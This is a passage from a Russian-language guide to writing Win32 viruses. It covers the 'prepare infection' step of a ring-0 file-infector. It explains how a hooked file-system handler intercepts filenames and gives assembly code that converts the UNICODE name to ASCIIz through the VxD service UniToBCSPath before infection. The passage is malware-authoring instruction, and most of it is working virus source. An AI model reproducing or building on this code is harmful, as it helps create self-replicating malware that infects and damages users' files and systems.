Путеводитель по написанию вирусов под Win32

Подготовка к заражению


Это основоной аспект нашего ring-0 кода. Давайте теперь углубимся в детали программирования под ring-0. Когда мы рассматривал установленный нами обработчик файловой системы, там было два вызова. Это не обязательно, но я сделал их для того, чтобы упростить код, потому что я люблю, когда все разложено по порядку.

В первом вызове, который я назвал prepare_infection, я делаю только одну вещь по одной единственной причине. Имя, которое система дает нам в качестве параметра, это имя файла, но здесь у нас возникает одна проблема. Система дает ее нам в UNICODE, что для нам не очень полезно. Нам нужно сконвертировать его в ASCIIz, правильно. Хорошо, для этого у нас есть сервис VxD, который сделает эту работу за нас. Его название: UniToBCSPath. Далее идет исходный код.

prepare_infection: pushad ; Помещаем в стек все регистры lea edi,[ebx+fname] ; Куда поместить имя файла mov eax,[ebp+10h] cmp al,0FFh ; Это UNICODE? jz wegotdrive ; Да! add al,"@" ; Генерируем имя диска stosb mov al,":" ; Добавляем ':' stosb wegotdrive: xor eax,eax push eax ; EAX = 0 -> Конвертируем в ASCII mov eax,100h push eax ; EAX = Размер конвертируемой строки mov eax,[ebp+1Ch] mov eax,[eax+0Ch] ; EAX = Указатель на строку add eax,4 push eax push edi ; Push'им смещение имени файла

@@3: VxDCall UniToBCSPath

add esp,10h ; Пропускаем параметры add edi,eax xor eax,eax ; Добавляем NULL в конец строки stosb popad ; Pop'им все ret ; Делаем возврат



Содержание раздела